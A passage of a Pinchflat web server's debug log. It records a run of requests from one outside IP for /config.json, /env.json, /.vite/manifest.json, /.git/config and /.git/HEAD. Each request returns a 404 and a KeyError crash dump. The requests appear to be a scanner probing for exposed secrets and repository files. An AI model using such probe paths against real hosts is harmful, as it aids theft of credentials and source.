18, 0, 13}, 53600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21496.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53600}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21497.0>, params: %{}, path_info: ["config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/config.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfchMrL1v-uUACMUB"} ], scheme: :http, script_name: [], (truncated) 15:40:18.830 [info] GET /env.json 15:40:18.831 [debug] QUERY OK source="settings" db=0.2ms idle=336.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.831 [debug] QUERY OK source="settings" db=0.1ms idle=225.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.831 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.831 [error] #PID<0.21499.0> running PinchflatWeb.Endpoint (connection #PID<0.21498.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /env.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21498.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53606}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21499.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfc8CWxnMrswACMUh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21498.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53606}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21498.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/env.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53606}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21499.0>, params: %{}, path_info: ["env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/env.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfc8CWxnMrswACMUh"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:18.943 [info] GET /.vite/manifest.json 15:40:18.944 [debug] QUERY OK source="settings" db=0.1ms idle=337.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.944 [debug] QUERY OK source="settings" db=0.0ms idle=225.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:18.944 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:18.944 [error] #PID<0.21501.0> running PinchflatWeb.Endpoint (connection #PID<0.21500.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.vite/manifest.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vite/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53620}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21501.0>, params: %{}, path_info: [".vite", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vite/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfdW-SkTT4kAACMVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53620}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.vite/manifest (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21500.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.vite/manifest.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53620}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21501.0>, params: %{}, path_info: [".vite", "manifest"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.vite/manifest.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfdW-Sk (truncated) 15:40:19.056 [info] GET /.git/config 15:40:19.056 [debug] QUERY OK source="settings" db=0.0ms idle=225.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.056 [debug] QUERY OK source="settings" db=0.0ms idle=225.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.056 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:19.056 [error] #PID<0.21503.0> running PinchflatWeb.Endpoint (connection #PID<0.21502.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53636}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21503.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfdx0UGMowyoACMVh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53636}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21502.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53636}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21503.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfdx0UGMowyoACMVh"} ], scheme: :http, (truncated) 15:40:19.168 [info] GET /.git/HEAD 15:40:19.169 [debug] QUERY OK source="settings" db=0.2ms idle=224.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.169 [debug] QUERY OK source="settings" db=0.1ms idle=224.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:19.169 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:19.169 [error] #PID<0.21505.0> running PinchflatWeb.Endpoint (connection #PID<0.21504.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.git/HEAD ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/HEAD (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53638}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21505.0>, params: %{}, path_info: [".git", "HEAD"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.git/HEAD", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfeMng0f5IFsACMWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21504.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/HEAD", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 53638}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => 